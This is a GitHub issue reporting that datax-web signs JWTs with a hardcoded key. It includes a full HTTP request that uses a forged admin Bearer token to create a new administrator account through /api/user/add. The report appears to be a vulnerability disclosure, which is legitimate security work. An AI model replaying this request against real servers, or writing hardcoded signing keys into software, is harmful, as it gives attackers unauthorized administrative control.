Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[BUG] Key hardcoded Get administrator rights #662

Open
sh1rosec opened this issue May 19, 2024 · 0 comments
Open

[BUG] Key hardcoded Get administrator rights #662

sh1rosec opened this issue May 19, 2024 · 0 comments
Labels
bug Something isn't working

Comments

@sh1rosec
Copy link

A fixed key is used to generate a token, and the token can be forged for the administrator to add to the login background.
https://github.com/WeiYe-Jing/datax-web/blob/master/datax-admin/src/main/java/com/wugui/datax/admin/util/JwtTokenUtils.java
image

Call method to generate token
image

add administrator :
POST /api/user/add HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: /
Accept-Language: en-GB,zh-CN;q=0.9,zh;q=0.7,zh-TW;q=0.6,zh-HK;q=0.4,en-US;q=0.3,en;q=0.1
Accept-Encoding: gzip, deflate
Authorization: Bearer eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiIxLGFkbWluIiwiaXNzIjoiYWRtaW4iLCJleHAiOjE2ODcwNzcyNzEsImlhdCI6MTY4NjQ3MjQ3MSwicm9sIjoiYWRtaW4ifQ.eSujj0qZbJGU1Ou7xnOP4SW6S2Ys5SE9G0Vnus9Y4vSZNOA9ylpWfPue5hqDU5NzZNcJU49SCtIwIiKMhReQtg
Connection: close
Content-Type: application/json;charset=utf-8
Content-Length: 92

{"role":"ROLE_ADMIN","username":"test","userEmail":"","password":"123456","permission":""}

@sh1rosec sh1rosec added the bug Something isn't working label May 19, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working
Projects
None yet
Development

No branches or pull requests

1 participant